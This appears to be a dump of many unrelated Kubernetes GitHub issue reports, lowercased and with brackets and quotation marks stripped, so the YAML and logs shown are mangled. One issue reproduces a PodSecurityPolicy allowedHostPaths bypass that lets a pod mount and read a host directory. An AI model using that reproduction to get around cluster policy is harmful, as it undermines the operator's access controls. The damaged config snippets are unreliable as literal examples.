kubernetes scheduler enables you to overwrite default predicates/priorities as well as configuring extenders in a \ scheduler policy\ .\r \r in latest scheduler componentconfig api  v1alpha1 , it can be a file or a configmap: https://github.com/kubernetes/kubernetes/blob/91f40aec8ad5b992d8057b4fab0fa287ee6bdee9/pkg/scheduler/apis/config/types.go l104-l111\r \r however, if you defines a scheduler config file and specify a yaml policy file:\r \r    yaml\r apiversion: kubescheduler.config.k8s.io/v1alpha1\r kind: kubeschedulerconfiguration\r clientconnection:\r   kubeconfig: \ /var/run/kubernetes/scheduler.kubeconfig\ \r algorithmsource:\r   policy:\r     file:\r       path: \ /root/config/scheduler-extender-policy.yaml\  <-- doesn't work\r         path: \ /root/config/scheduler-extender-policy.json\  <-- works\r    \r \r it doesn't work.\r \r it's because only json is supported: https://github.com/kubernetes/kubernetes/blob/91f40aec8ad5b992d8057b4fab0fa287ee6bdee9/pkg/scheduler/api/latest/latest.go l45-l46\r \r it'd nice to enhance it with an universalserilizer so as to support both json and yaml.\r \r  /help\r /

here is the log.      i0422 18:31:10.000361    7605 manager.go:79  scraping metrics start: 2016-04-22 18:31:00 +0800 cst, end: 2016-04-22 18:31:05 +0800 cst i0422 18:31:10.106464    7605 manager.go:152  scrapemetrics: time: 105.933682ms size: 73 w0422 18:31:10.106671    7605 node_aggregator.go:44  failed to find node: node:10.126.72.33 panic: runtime error: invalid memory address or nil pointer dereference  signal 0xb code=0x1 addr=0x30 pc=0x5c8549   goroutine 219  running : panic 0x1398980, 0xc8200100f0      /usr/local/go1.6.1/src/runtime/panic.go:464 +0x3e6 k8s.io/heapster/metrics/processors.aggregate 0xc8204ebce0, 0x0, 0xc82000b400, 0x4, 0x4, 0x0, 0x0      /go/src/k8s.io/heapster/metrics/processors/helper.go:29 +0x179 k8s.io/heapster/metrics/processors.  nodeaggregator .process 0xc820418640, 0xc8203d3500, 0xc8208f5400, 0x0, 0x0      /go/src/k8s.io/heapster/metrics/processors/node_aggregator.go:46 +0x539 k8s.io/heapster/metrics/manager.process 0x7f86cb5c6f38, 0xc820418640, 0xc8203d3500, 0x0, 0x0, 0x0      /go/src/k8s.io/heapster/metrics/manager/manager.go:152 +0x1bd k8s.io/heapster/metrics/manager.  realmanager .housekeep.func1 0xeceabf464, 0x0, 0x1d4e1e0, 0xeceabf469, 0x0, 0x1d4e1e0, 0xc820017740      /go/src/k8s.io/heapster/metrics/manager/manager.go:131 +0x165 created by k8s.io/heapster/metrics/manager.  realmanager .housekeep     /go/src/k8s.io/heapster/metrics/manager/manager.go:143 +0x33e      i only ran 3 kube-slavers ver.1.2.2 .  so i think it is not k8s' problem. now i have  to ehance   metric_resolution  from 5 seconds to 20 seconds to avoid this panic. and i am not sure  whether heapster can collection metrics in a short time.

example:  https://storage.googleapis.com/kubernetes-jenkins/logs/kubernetes-e2e-gce-federation/5347/build-log.txt  relevant part:      oct 18 05:53:02.535: info: failed to get logs of pod e2e-image-puller-jenkins-us-central1-f-minion-group-e7fr, container image-puller, err: get https://10.128.0.11:10250/containerlogs/kube-system/e2e-image-puller-jenkins-us-central1-f-minion-group-e7fr/image-puller?previous=true: dial tcp 10.128.0.11:10250: i/o timeout \u001b 1mstep\u001b 0m: logs of kube-system/e2e-image-puller-jenkins-us-central1-f-minion-group-e7fr:image-puller on node jenkins-us-central1-f-minion-group-e7fr oct 18 05:53:02.535: info: image-puller : startlog  endlog for container kube-system:e2e-image-puller-jenkins-us-central1-f-minion-group-e7fr:image-puller      as a result, we no longer have federation apiserver and federation controller manager pod logs to debug failures.  cc @kubernetes/sig-cluster-federation

pr  32088 introduced an annotation for fluentd migration from static pod to the daemonset to avoid two instances of fluentd on a single node during the transition stage. i didn't read the pr carefully, but based on the code at https://github.com/kubernetes/kubernetes/pull/32088/files diff-6b0808bd1afb15f9f77986f4459601c2r199, every node object has one label be default: \r \ alpha.kubernetes.io/fluentd-ds-ready\ . i think this is wrong. 1  not everyone use fluentd as the logging agent. 2  it is hard-coded in kubelet code as part of kubelet_node_status. no matter running fluentd as a static pod or a daemonset on the node, kubelet shouldn't treat it different from other pods. the right approach is introducing an external controller to apply this cloud-provider / kubernetes vendor  i.e. gke  specific label to the node. \r \r    \r apiversion: v1\r kind: node\r metadata:\r   annotations:\r     node.alpha.kubernetes.io/ttl: \ 0\ \r     scheduler.alpha.kubernetes.io/taints: '  '\r     volumes.kubernetes.io/controller-managed-attach-detach: \ true\ \r   creationtimestamp: 2017-02-25t01:50:12z\r   labels:\r     alpha.kubernetes.io/fluentd-ds-ready: \ true\                                                         <======================\r     beta.kubernetes.io/arch: amd64\r     beta.kubernetes.io/instance-type: n1-standard-8\r     beta.kubernetes.io/os: linux\r ...\r    \r \r cc/ @kubernetes/sig-node-bugs @mikedanese

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i tried to provision source graph on an aws multi-az cluster\r \r    \r   create a single-server deployment named sourcegraph using the latest sourcegraph server docker image.\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: sourcegraph\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: sourcegraph\r     spec:\r       containers:\r       - name: sourcegraph\r         image: sourcegraph/server:latest\r         ports:\r         - containerport: 7080\r         volumemounts:\r         - mountpath: /etc/sourcegraph\r           name: config\r         - mountpath: /var/opt/sourcegraph\r           name: data\r       volumes:\r       - name: config\r         persistentvolumeclaim:\r           claimname: sourcegraph-config\r       - name: data\r         persistentvolumeclaim:\r           claimname: sourcegraph-data\r ---\r   create a loadbalancer service to expose the deployment on port 80.\r apiversion: v1\r kind: service\r metadata:\r   name: sourcegraph\r   labels:\r     app: sourcegraph\r spec:\r   type: loadbalancer\r   ports:\r   - port: 80\r     targetport: 7080\r     protocol: tcp\r   selector:\r     app: sourcegraph\r ---\r   create a 1gb persistent volume to hold sourcegraph server configuration data.\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: sourcegraph-config\r   labels:\r     app: sourcegraph\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r ---\r   create a 500gb persistent volume to hold sourcegraph cloned repositories, code intelligence metadata, and all other persistent metadata.\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: sourcegraph-data\r   labels:\r     app: sourcegraph\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 500gi\r    \r \r   what you expected to happen  :\r \r expected the 2 volumes to be provisioned in the same zone.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r they got provisioned in different zones. the pod can't schedule since the 2 disks it needs are in different zones.\r \r    \r name:            pvc-4d445832-09d6-11e8-ad5d-06118a22e07e\r labels:          failure-domain.beta.kubernetes.io/region=us-west-2\r                  failure-domain.beta.kubernetes.io/zone=us-west-2c\r annotations:     kubernetes.io/createdby=aws-ebs-dynamic-provisioner\r                  pv.kubernetes.io/bound-by-controller=yes\r                  pv.kubernetes.io/provisioned-by=kubernetes.io/aws-ebs\r storageclass:    gp2\r status:          bound\r claim:           default/sourcegraph-config\r reclaim policy:  delete\r access modes:    rwo\r capacity:        1gi\r message:\r source:\r     type:       awselasticblockstore  a persistent disk resource in aws \r     volumeid:   aws://us-west-2c/vol-04c7250c8f37bf2b9\r     fstype:     ext4\r     partition:  0\r     readonly:   false\r events:         <none>\r    \r \r    \r name:            pvc-4d59a4a6-09d6-11e8-ad5d-06118a22e07e\r labels:          failure-domain.beta.kubernetes.io/region=us-west-2\r                  failure-domain.beta.kubernetes.io/zone=us-west-2b\r annotations:     kubernetes.io/createdby=aws-ebs-dynamic-provisioner\r                  pv.kubernetes.io/bound-by-controller=yes\r                  pv.kubernetes.io/provisioned-by=kubernetes.io/aws-ebs\r storageclass:    gp2\r status:          bound\r claim:           default/sourcegraph-data\r reclaim policy:  delete\r access modes:    rwo\r capacity:        100gi\r message:\r source:\r     type:       awselasticblockstore  a persistent disk resource in aws \r     volumeid:   aws://us-west-2b/vol-03cb0503b9e5306a4\r     fstype:     ext4\r     partition:  0\r     readonly:   false\r events:         <none>\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t20:00:41z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r

is this a bug report or feature request?  :\r >  \r   what happened  :\r trying to debug a problem with intermittant long running get requests. looking in the logs i see things like.\r \r trace.go:76  trace 1901900101 : \ get /api/v1/namespaces/default/secrets/xxxxxx\   started: 2018-10-05 17:56:04.770559775 +0000 utc m=+2735.450331215   total time: 1m58.379470276s :\r trace 1901900101 :  8.315939853s   8.315939853s  about to get from storage\r trace 1901900101 :  10.876889767s   2.560949914s  about to write a response\r trace 1901900101 :  1m58.379470276s   1m47.502580509s  end\r \r this means 1 minute and 47 seconds of the request after having read the request from etcd are unaccounted for.\r \r   what you expected to happen  :\r we have additional trace points around things like serializing the data and actually writing the response.\r \r   how to reproduce it  as minimally and precisely as possible   :\r ?\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7 but i do not believe this is fixed in newer versions.\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r the  testentry  method only finds string  not  in output of  ipset test , but when the name of the set contains  not , it will return  false  no matter the entry exists in ipset or not.\r \r   what happened  :\r returns false whenever entry exists if the name of set contains  not , e,g:  not ,  note ,  knots \r   what you expected to happen  :\r returns whether the entry exists whatever the set name is\r   how to reproduce it  as minimally and precisely as possible   :\r replace the set name  foobar  to any name containing  not , for example  note  in   testtestentry  of  pkg/util/ipset/ipset_test.go , then cd to \r  pkg/util/ipset  and run  go test . , and it fails on  testtestentry .\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.11.6, but the bug still exists in  master \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  

we've got a failing e2e test right now. here's what the error says:      /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/test/e2e/service.go:284 expected error:     < errors.errorstring | 0xc20802bef0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred      \ timed out waiting for the condition,\  huh? how helpful.  this requires you to go look a the code. and if you have skew in the code you're testing versus what you have checked out—well, have fun hunting.  this is a combination of our  waitfor ...   code: https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/util/wait/wait.go l78  ... and our writing of test statements that look like  expect err .notto haveoccurred     and  expectnoerror err  .  +cc @quinton-hoole @ixdy to start throwing chairs around the room

these are described in section 3.4 of the borg paper.  there are a lot of ways to do this. one simple way is 1  when you apply the predicate and  to a pod, cache the results  namely, for each machine, whether the pod is feasible on that machine, and the  for the pod on that machine  2  scheduler watches for bindings and unbindings and node changes, and marks a cached value as dirty whenever there is a change that invalidates a cached value.  for example, if the labels on a node change, or a new pod gets bound to a machine, then all cached values related to that machine are invalidated.  in the future when we have in-place updates, some updates to pods running on the machine would also cause the node to be marked dirty. 3  when scheduling a new pod, check to see if the scheduling result for an equivalent pod is already cached. if so, re-evaluate the predicate and  just for the \ dirty\  values  i.e. not for all machines , and update the cache.

currently  our job controller  https://github.com/kubernetes/kubernetes/blob/35a345269eac879b0d9f25110d598845dcf8a62f/pkg/controller/job/controller.go l452-l456  relies on completed and failed pods to stay around to be properly calculated. this might become cumbersome when a job will be big  iow. high completions number . it would be nice to re-implement this part so that those status numbers are updated on each run rather than re-calculated each time.  @erictune you've mentioned this some time ago, it would be nice to fix it some time, that's why i'll create this issue so we don't forget.

so we can give accurate guidance on sizing them in large clusters.  ref/  21500  cc/ @bprashanth @wojtek-t @gmarek

we are going to need to assess an upgrade to transition to the new object.  i do not believe that because of a name change, because of optics, we should ask users of this product to have to migrate data between datastores. this can often fail and cost a great deal of time and money.  deleting a petset may not be acceptable to users of this product.

version:\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.190+2bb97435eb5af0\ , gitcommit:\ 2bb9\r 7435eb5af02c6e75964c909069e438b19bae\ , gittreestate:\ clean\ , builddate:\ 2017-02-24t13:41:51z\ , goversion:\ go1.7.5\ ,\r  compiler:\ gc\ , platform:\ linux/amd64\ } - head, synced today.\r \r i started k8s cluster with ./cluster/kube-up.sh with cluster autoscaler enabled. i modified the ca manifest file on the master. in logs the new autoscaler complained about port 8085 being used  by the old ca  and the old one stopped writing logs couple seconds after this port unavailable entry was written. \r \r i guess the old pod should be stopped first and only then the new pod should started.\r \r cc: @kubernetes/sig-node-bugs @dchen1107 @vishh @yujuhong  @fgrzadkowski @maciekpytel\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-test-go/3689/ failed: testconfigmapcontroller {configmap}      <autogenerated>:10: \r                        \r\terror trace:\tconfigmap_controller_test.go:158 \t\r\terror:\t\tshould be true \t       previous issues for this test:  39567

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r in master node i run  kubectl delete nodes my-node1 , and meanwhile i stop the kubelet that exists in this node. after while i restart kubelet on    my-node1  , then i run  kubectl describe nodes my-node1 ,\r i found the node events previously happened still exist.\r \r    \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   56m\t\t56m\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tstarting\t\tstarting kubelet.\r   56m\t\t56m\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehassufficientdisk\tnode openpass-215 status is now: nodehassufficientdisk\r   56m\t\t56m\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehassufficientmemory\tnode openpass-215 status is now: nodehassufficientmemory\r   56m\t\t56m\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehasnodiskpressure\tnode openpass-215 status is now: nodehasnodiskpressure\r   56m\t\t56m\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tnodeallocatableenforced\tupdated node allocatable limit across pods\r   56m\t\t56m\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tnodeready\t\tnode openpass-215 status is now: nodeready\r   48m\t\t48m\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tstarting\t\tstarting kubelet.\r   48m\t\t48m\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehassufficientdisk\tnode openpass-215 status is now: nodehassufficientdisk\r   48m\t\t48m\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehassufficientmemory\tnode openpass-215 status is now: nodehassufficientmemory\r   48m\t\t48m\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehasnodiskpressure\tnode openpass-215 status is now: nodehasnodiskpressure\r   48m\t\t48m\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tnodeallocatableenforced\tupdated node allocatable limit across pods\r   48m\t\t48m\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tnodeready\t\tnode openpass-215 status is now: nodeready\r   43m\t\t43m\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tstarting\t\tstarting kubelet.\r   43m\t\t43m\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tnodeallocatableenforced\tupdated node allocatable limit across pods\r   43m\t\t43m\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehassufficientdisk\tnode openpass-215 status is now: nodehassufficientdisk\r   43m\t\t43m\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tstarting\t\tstarting kubelet.\r   43m\t\t43m\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehasnodiskpressure\tnode openpass-215 status is now: nodehasnodiskpressure\r   43m\t\t43m\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehassufficientmemory\tnode openpass-215 status is now: nodehassufficientmemory\r   43m\t\t43m\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tnodeready\t\tnode openpass-215 status is now: nodeready\r   39m\t\t39m\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tstarting\t\tstarting kubelet.\r   39m\t\t39m\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehassufficientdisk\tnode openpass-215 status is now: nodehassufficientdisk\r   39m\t\t39m\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehassufficientmemory\tnode openpass-215 status is now: nodehassufficientmemory\r   39m\t\t39m\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehasnodiskpressure\tnode openpass-215 status is now: nodehasnodiskpressure\r   39m\t\t39m\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tnodeallocatableenforced\tupdated node allocatable limit across pods\r   38m\t\t38m\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tnodeready\t\tnode openpass-215 status is now: nodeready\r   20s\t\t20s\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tstarting\t\tstarting kubelet.\r   15s\t\t15s\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehassufficientdisk\tnode openpass-215 status is now: nodehassufficientdisk\r   15s\t\t15s\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehassufficientmemory\tnode openpass-215 status is now: nodehassufficientmemory\r   15s\t\t15s\t\t2\tkubelet, openpass-215\t\t\tnormal\t\tnodehasnodiskpressure\tnode openpass-215 status is now: nodehasnodiskpressure\r   15s\t\t15s\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tnodeallocatableenforced\tupdated node allocatable limit across pods\r   5s\t\t5s\t\t1\tkubelet, openpass-215\t\t\tnormal\t\tnodeready\t\tnode openpass-215 status is now: nodeready\r \r \r    \r \r   what you expected to happen  :\r the events included in node info should be cleared up since the node had been deleted. \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. delete one active node  kubectl delete nodes my-node1 \r 2. stop kubelet for this node\r 3. after while or more time  restart kubelet on this node  my-node1 in this case .\r 4. inspect the nodes info for my-node1   kubectl describe nodes my-node1 \r 5. we will found the events previously saved still exist for this node.\r \r   anything else we need to know?  :\r i am not sure whether it is our original design principle.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t01:48:01z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r    \r - kernel  e.g.  uname -a  :\r  linux open-paas 4.8.0-54-generic  57~16.04.1-ubuntu smp wed may 24 16:22:28 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r \r 

is this a bug report or feature request?  :\r \r  \r   what happened  :\r there is no way to add  kubernetes initializers  https://kubernetes.io/docs/admin/extensible-admission-controllers/ initializers  to specific namespaces.\r \r   what you expected to happen  :\r when running a multi-tenant cluster, it'd be useful to apply some policies in just certain namespaces. it'd be interesting to do both:\r - apply initializer to all namespaces\r - apply initializer to this namespace in particular\r \r   how to reproduce it  as minimally and precisely as possible   :\r currently, initializers are applied to all namespaces.\r \r   anything else we need to know?  :\r no\r \r   environment  :\r - kubernetes version  use  kubectl version  : any\r - cloud provider or hardware configuration  : any\r - os  e.g. from /etc/os-release : any\r - kernel  e.g.  uname -a  : any\r - install tools: n/a\r - others: n/a\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : y\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r lifecycle hook prestop is called only when user force-stop/kill the pod/job. it is not getting called when the pod is completed successfully.\r \r   what you expected to happen  :\r prestop hook should be called whenever the pod is exited either it is with success or failure\r   how to reproduce it  as minimally and precisely as possible   :\r just by following instructions from https://kubernetes.io/docs/concepts/containers/container-lifecycle-hooks/ hook-details\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r when startup kube-controller-manager with the following flags\r  controller-manager --v=3 --vmodule= --service-account-private-key-file=/tmp/kube-serviceaccount.key --root-ca-file=/var/run/kubernetes/server-ca.crt --cluster-signing-cert-file=/var/run/kubernetes/server-ca.crt --cluster-signing-key-file=/var/run/kubernetes/server-ca.key --enable-hostpath-provisioner=false --pvclaimbinder-sync-period=15s --feature-gates=allalpha=false --cloud-provider= --cloud-config= --kubeconfig /var/run/kubernetes/controller.kubeconfig --use-service-account-credentials --controllers=  --master=https://localhost:6443 --secure-port=10257 \r \r it is running but with this log frequently.\r  http: tls handshake error from 127.0.0.1:42079: tls: no certificates configured \r \r   what you expected to happen  :\r \r i expect controller-manager fails to startup without valid tls flags.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

flaky job: pr:pull-kubernetes-e2e-gce-100-performance  flakes in the past week:   72    consistency:   88.80%         flakiest tests by flake count: | test | flake count | | --- | --- | | up | 89 | | stage | 17 | |  sig-scalability  density  feature:performance  should allow starting 30 pods per node using { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons | 6 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

is is possible to undelete a resource?\r \r we have an use case, where we scale down a database statefulset, but we want to keep around pvc for some grace period so that if you need to scale it back up old/stable data to be available. we need this because it's very expensive to create a new replica from scratch.\r \r i've tried but seams i cannot just set the meta.deletiontimestamp to nil.\r \r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  master-blocking/conformance vsphere-cloud-provider  https://k8s-testgrid.appspot.com/sig-release-master-blocking conformance%20-%20vsphere-cloud-provider \r \r   which test s  are failing  :\r  on gubernator  https://gubernator.k8s.io/build/k8s-conformance-cloud-provider-vsphere/head/ci/latest/1540913495 \r \r test-specific links:\r   sig-api-machinery  configmap should be consumable via environment variable  nodeconformance   conformance   https://gubernator.k8s.io/build/k8s-conformance-cloud-provider-vsphere/head/ci/latest/1540913495 sig-api-machinery-configmap-should-be-consumable-via-environment-variable-nodeconformance-conformance \r \r   sig-apps  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should perform rolling updates and roll backs of template modifications  conformance   https://gubernator.k8s.io/build/k8s-conformance-cloud-provider-vsphere/head/ci/latest/1540913495 sig-apps-statefulset-k8sio-basic-statefulset-functionality-statefulsetbasic-should-perform-rolling-updates-and-roll-backs-of-template-modifications-conformance \r \r   since when has it been failing  :\r october 30th, 2018\r \r   anything else we need to know  :\r this _may_ be related to  issue  70445  https://github.com/kubernetes/kubernetes/issues/70445 \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : we are trying to apply allowedhostpaths via podsecuritypolicy. however the user account isn't honoring the policy. i was still allowed to create pod with a directory mounted that wasn't on the allowedhostpaths list. \r \r   end result: after exec into the pod shows that files were mounted on /host-volume.\r \r   what you expected to happen  : the pod should error out during creation and files should not be accessible on the host mount.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create the following config:\r    \r apiversion: policy/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: restrict-host-path\r spec:\r   privileged: false\r   runasuser:\r     rule: runasany\r   selinux:\r     rule: runasany\r   fsgroup:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   volumes:\r   - ' '\r   allowedhostpaths:\r     - pathprefix:  /opt \r \r ---\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrole\r metadata:\r   name: psp:restrict-host-path\r rules:\r - apigroups:\r   - policy\r   resourcenames:\r   - restrict-host-path\r   resources:\r   - podsecuritypolicies\r   verbs:\r   - use\r - apigroups:\r   - \ \ \r   resources:\r   - pods\r   - pods/attach\r   - pods/exec\r   - pods/portforward\r   - pods/proxy\r   verbs:\r   - create\r   - delete\r   - deletecollection\r   - get\r   - list\r   - patch\r   - update\r   - watch\r \r    \r   create the namespace and the user account \r  --  kubectl create namespace  k8s-test \r  --  kubectl create sa k8s-test -n support \r \r   apply the clusterrole to a user account:  kubectl create rolebinding test1 --clusterrole psp:restrict-host-path --serviceaccount support:k8s-test--namespace k8s-test \r   switch to the context/namespace via kube/config that was generated via script\r   create this pod: \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: test-root-mount-pod\r spec:\r   containers:\r   - image: nginx\r     name: test-container\r     volumemounts:\r     - mountpath: /host-volume\r       name: host-volume\r     resources:\r       requests:\r          memory: 5gi\r          cpu: 2\r   volumes:\r   - name: host-volume\r     hostpath:\r       path: /tmp\r    \r   run    kubectl exec test-root-mount-pod ls /host-volume\r outputs:\r lost+found\r file1   \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version: v1.11.3\r - cloud provider or hardware configuration: bare metal/2x32 core intel cpu, 512 gb ram\r - os: ubuntu 16.04.4\r - kernel: 4.13.0-45-generic\r - install tools: kubespray\r - others: rbac and podsecuritypolicy enabled\r \r <!-- do not edit below this line -->\r 

according to code snippet https://github.com/kubernetes/kubernetes/blob/e633a1604f00908a1dcc898b206c3404db4d82ed/pkg/controller/service/service_controller.go l263-l290\r \r the  createloadbalancerifneeded  handles the   serviceupdate   events, it first check out whether or not current service need a loadbalancer, and if not, it ensures corresponding loadbalacner deleted.  \r \r however, another branch of the  if  statement is a little bit confusing. it says _the load balancer doesn't exist yet, so create it_, and then it calls  s.createloadbalancer . i think at this time, we're not sure whether or not the load balancer already exists  since we didn't call  getloadbalancer  , so the proper behavior would be  ensure load balancer exists   actually  s.createloadbalancer  just calls  ensureloadbalancer  indeed , so the comment  l-283  and the function name  l-285  createloadbalancer   isn't very appropriate, it's confusing right?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug\r \r  \r \r   what happened  : this message appears in the controller manager log: \r “using default getvolumename for volume 0x1c7d350”\r \r   what you expected to happen  : “using default getvolumename for volume \\<volumename\\>”\r \r   environment  :\r - kubernetes version: 1.8\r \r  /assign\r /cc @chakri-nelluri

 \r aws cloud provider forces the hostname, or at least the node name, to be the same as aws' privatednsname, this leads to the node being removed if a different node name is used.\r \r it should be allowed to use any name as the node name and map it to a tag.\r \r is there any problem with this? i can provide a pr. it's really cumbersome to use ip-x-x-x-x.region.compute.internal as it doesn't pair with the rest of my infrastructure.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.5\r - cloud provider or hardware configuration: aws\r - os: arch linux\r - kernel  e.g.  uname -a  : linux ip-10-0-50-10 4.12.8-1-ec2  1 smp mon aug 21 22:43:04 pdt 2017 x86_64 gnu/linux\r - install tools: none\r

